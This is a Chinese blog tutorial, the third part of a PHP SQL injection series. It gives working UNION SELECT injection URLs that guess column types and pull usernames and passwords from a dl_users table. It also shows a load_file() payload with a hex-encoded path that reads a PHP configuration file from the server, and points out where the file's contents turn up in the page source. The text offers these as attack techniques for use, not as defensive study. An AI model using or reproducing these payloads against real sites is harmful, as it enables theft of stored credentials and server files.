有php注入的源码,php注入3_php

三:一些注入技巧,很多都是个人发现哦

1.union select的技巧

UNION 用于将多个 SELECT 语句的结果联合到一个结果集中。在 SELECT 中的 select_expression 部分列出的列必须具有同样的类型。第一个 SELECT 查询中使用的列名将作为结果集的列名返回。

然而有我们可以用下面的方法来猜测列的类型,可是省去很多时间

我们先

http://localhost/down/index.php?url=&dlid=1%20and%201=2%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18

http://www.gaodaima.com/44913.htmlphp注入3_php

图24

看看软件描述里写着3,作者里写着4,我们就可以猜测3和4的位置是字符型的,我们再看14前面的是下载次数,这就应该是int型的了,对吧。

好了,我们根据这里来构建吧,估计username和password也是字符型的。

试试看哦

http://localhost/down/index.php?url=&dlid=1%20and%201=2%20union%20select%201,2,password,4,username,6,7,8,9,10,11,12,13,14,15,16,17,18%20from%20dl_users

如图25

哈哈,这种方法只要看看就可以大概猜到了。

2.load_file读写文件的技巧

不知道你有没有发现过在我们用load_file()读写php文件时不能在网页中显示。例如:

C:/apache/htdocs/site/lib/sql.inc.php 转化为16进制为:0x433A2F6170616368652F6874646F63732F736974652F6C69622F73716C2E696E632E706870

我们构造如下

http://localhost/site/display.php?id=

451%20and%201=2%20%20union%20select%201,2,load_file(0x433A2F6170616368652F6874646F63732F736974652F6C69622F73716C2E696E632E706870)

,4,5,6,7,8,9,10,11

如图26

发现在文章内容的地方本来该显示sql.inc.php的,可是却空空之,为何呢?

我们看看网页的源代码先

图27

哈哈,看看标记的地方,晕死,原来在这里啊,可是为什么哩?

原来html中< >用于标注,哈哈,明白了吧!下次可得记得在哪里找哦。

欢迎大家阅读《php注入3_php》,跪求各位点评,若觉得好的话请收藏本文,by 搞代码

原创文章,转载请注明: 转载自搞代码

e7ce419cf2d6ad34d01da2ceb8829eed.png

微信 赏一包辣条吧~

023a57327877fb4402bcc76911ec18ea.png

支付宝 赏一听可乐吧~

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值